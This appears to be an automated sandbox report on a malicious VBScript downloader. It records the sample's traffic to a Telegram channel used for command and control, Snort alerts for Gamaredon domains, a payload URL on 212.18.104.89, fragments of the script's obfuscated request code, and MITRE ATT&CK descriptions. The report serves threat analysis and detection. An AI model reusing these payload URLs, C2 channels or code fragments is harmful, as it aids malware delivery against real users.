Aug 29, 2023 15:35:23.082016945 CEST	49763	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.082046986 CEST	443	49763	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.146766901 CEST	443	49763	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.146971941 CEST	49763	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.147902012 CEST	49763	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.147928953 CEST	443	49763	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.151710033 CEST	49763	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.151732922 CEST	443	49763	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.202842951 CEST	443	49763	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.203020096 CEST	49763	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.203057051 CEST	443	49763	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.203135014 CEST	443	49763	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.203135014 CEST	49763	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.203202963 CEST	49763	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.203324080 CEST	49763	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.203324080 CEST	49763	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.203358889 CEST	443	49763	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.203423023 CEST	49763	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.205107927 CEST	49764	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.205190897 CEST	443	49764	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.205301046 CEST	49764	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.205771923 CEST	49764	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.205806017 CEST	443	49764	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.272119999 CEST	443	49764	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.272265911 CEST	49764	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.272789001 CEST	49764	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.272809982 CEST	443	49764	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.275434971 CEST	49764	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.275471926 CEST	443	49764	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.339518070 CEST	443	49764	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.339607954 CEST	443	49764	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.339715004 CEST	443	49764	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.339775085 CEST	443	49764	149.154.167.99	192.168.2.3
Aug 29, 2023 15:35:23.339798927 CEST	49764	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.339798927 CEST	49764	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.339798927 CEST	49764	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.339853048 CEST	49764	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.340298891 CEST	49764	443	192.168.2.3	149.154.167.99
Aug 29, 2023 15:35:23.340334892 CEST	443	49764	149.154.167.99	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2023 15:33:06.346657038 CEST	61769	53	192.168.2.3	8.8.8.8
Aug 29, 2023 15:33:06.361593962 CEST	53	61769	8.8.8.8	192.168.2.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Type
Aug 29, 2023 15:33:07.343084097 CEST	192.168.2.3	212.18.104.89	4d5a	Echo
Aug 29, 2023 15:33:07.512053013 CEST	212.18.104.89	192.168.2.3	555a	Echo Reply
Aug 29, 2023 15:35:23.769707918 CEST	192.168.2.3	212.18.104.89	4d59	Echo
Aug 29, 2023 15:35:23.938709974 CEST	212.18.104.89	192.168.2.3	5559	Echo Reply

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 29, 2023 15:33:06.346657038 CEST	192.168.2.3	8.8.8.8	0x231e	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 29, 2023 15:33:06.361593962 CEST	8.8.8.8	192.168.2.3	0x231e	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49756	149.154.167.99	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-29 13:33:06 UTC	0	OUT	POST /s/rwmlqlxfttee HTTP/1.1 Accept: / Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: t.me Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache
2023-08-29 13:33:06 UTC	0	IN	HTTP/1.1 302 Found Server: nginx/1.18.0 Date: Tue, 29 Aug 2023 13:33:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Set-Cookie: stel_ssid=de08e3f70d91333e83_15118461779691697602; expires=Wed, 30 Aug 2023 13:33:06 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store Location: https://t.me/rwmlqlxfttee Strict-Transport-Security: max-age=35768000

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49758	149.154.167.99	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-29 13:33:06 UTC	0	OUT	GET /rwmlqlxfttee HTTP/1.1 Accept: / Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: t.me Connection: Keep-Alive Cache-Control: no-cache Cookie: stel_ssid=de08e3f70d91333e83_15118461779691697602
2023-08-29 13:33:06 UTC	1	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 29 Aug 2023 13:33:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9617 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2023-08-29 13:33:06 UTC	1	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 72 77 6d 6c 71 6c 78 66 74 74 65 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @rwmlqlxfttee</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49763	149.154.167.99	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-29 13:35:23 UTC	10	OUT	POST /s/rwmlqlxfttee HTTP/1.1 Accept: / Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: t.me Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache Cookie: stel_ssid=de08e3f70d91333e83_15118461779691697602
2023-08-29 13:35:23 UTC	11	IN	HTTP/1.1 302 Found Server: nginx/1.18.0 Date: Tue, 29 Aug 2023 13:35:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Pragma: no-cache Cache-control: no-store Location: https://t.me/rwmlqlxfttee Strict-Transport-Security: max-age=35768000

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49764	149.154.167.99	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-29 13:35:23 UTC	11	OUT	GET /rwmlqlxfttee HTTP/1.1 Accept: / Accept-Language: en-us UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: t.me Connection: Keep-Alive Cache-Control: no-cache Cookie: stel_ssid=de08e3f70d91333e83_15118461779691697602
2023-08-29 13:35:23 UTC	12	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 29 Aug 2023 13:35:23 GMT Content-Type: text/html; charset=utf-8 Content-Length: 9617 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2023-08-29 13:35:23 UTC	12	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 72 77 6d 6c 71 6c 78 66 74 74 65 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @rwmlqlxfttee</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.

Statistics

CPU Usage

• wscript.exe

Click to jump to process

Memory Usage

• wscript.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry

Click to dive into process behavior distribution

Target ID:	0
Start time:	15:31:26
Start date:	29/08/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\download (18).vbs"
Imagebase:	0x7ff673440000
File size:	163'840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Source: Traffic	Snort IDS: 2046128 ET TROJAN Gamaredon Domain in DNS Lookup (kemnebipa .ru) 192.168.2.3:53304 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2046128 ET TROJAN Gamaredon Domain in DNS Lookup (kemnebipa .ru) 192.168.2.3:55108 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2046128 ET TROJAN Gamaredon Domain in DNS Lookup (kemnebipa .ru) 192.168.2.3:56157 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2046128 ET TROJAN Gamaredon Domain in DNS Lookup (kemnebipa .ru) 192.168.2.3:53493 -> 8.8.8.8:53

Source: wscript.exe, 00000000.00000002.898413009.000001FCFDF40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.18.1
Source: wscript.exe, wscript.exe, 00000000.00000002.898198755.000001FCFC1D5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.881380040.000001FCFE453000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898458756.000001FCFE3F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://212.18.104.89/jessie/71.lbm?=DeleteFile
Source: wscript.exe, 00000000.00000003.588501314.000001FCFE3C3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898458756.000001FCFE3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: wscript.exe, 00000000.00000003.881434273.000001FCFC2D6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898219104.000001FCFC2D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: wscript.exe, 00000000.00000003.881434273.000001FCFC2D6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.881434273.000001FCFC2B9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898219104.000001FCFC2D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: wscript.exe, 00000000.00000003.881434273.000001FCFC2D6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898219104.000001FCFC2D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/(Z
Source: wscript.exe, 00000000.00000003.881434273.000001FCFC2B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/F
Source: wscript.exe, 00000000.00000003.881380040.000001FCFE453000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898574011.000001FCFE453000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/rwmlqlxf44
Source: wscript.exe, 00000000.00000002.898443899.000001FCFE200000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898219104.000001FCFC2B1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898458756.000001FCFE448000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898574011.000001FCFE453000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.881403020.000001FCFE445000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.881427766.000001FCFE446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/rwmlqlxfttee
Source: wscript.exe, 00000000.00000003.588501314.000001FCFE3F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/rwmlqlxfttee3
Source: wscript.exe, 00000000.00000003.588501314.000001FCFE3C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/rwmlqlxfttee=
Source: wscript.exe, 00000000.00000003.588501314.000001FCFE3F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898458756.000001FCFE3F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/rwmlqlxftteeO
Source: wscript.exe, 00000000.00000003.588501314.000001FCFE3F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/rwmlqlxftteeW
Source: wscript.exe, 00000000.00000003.588501314.000001FCFE3F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898458756.000001FCFE3F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/rwmlqlxftteec
Source: wscript.exe, 00000000.00000002.898219104.000001FCFC2B1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898219104.000001FCFC2D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/s/rwmlqlxfttee
Source: wscript.exe, 00000000.00000003.881434273.000001FCFC2B9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898219104.000001FCFC2B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/s/rwmlqlxfttee&
Source: wscript.exe, 00000000.00000003.881434273.000001FCFC2B9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.898219104.000001FCFC2B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/s/rwmlqlxftteeXj
Source: wscript.exe, 00000000.00000002.898574011.000001FCFE453000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://telegram.org/img/t_logo.png
Source: wscript.exe, 00000000.00000003.881427766.000001FCFE446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source:	Initial file: lemonadeMcY.setrequestheader "user-agent" , guideduFK
Source:	Initial file: lemonadeMcY.setrequestheader levelB39, marryingzhf
Source:	Initial file: majorityp73 = parentsQKD(lemonadeMcY.responsebody)
Source:	Initial file: glovesQk1.setrequestheader "user-agent" , birthY1r
Source:	Initial file: glovesQk1.setRequestHeader "Referer", rused8C
Source:	Initial file: glovesQk1.setRequestHeader "Cookie", "junk"
Source:	Initial file: glovesQk1.setRequestHeader "Content-Length", "4552"
Source:	Initial file: farewellgvp = parentsQKD(glovesQk1.responsebody)

Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: unknown	TCP traffic detected without corresponding DNS query: 212.18.104.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.18.104.89
Source: unknown	TCP traffic detected without corresponding DNS query: 212.18.104.89

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report download (18).vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Analysis Process: wscript.exePID: 6328, Parent PID: 3524

General

File Activities

File Opened

File Created

File Read

File Attributes Queried

Windows Analysis Report
download (18).vbs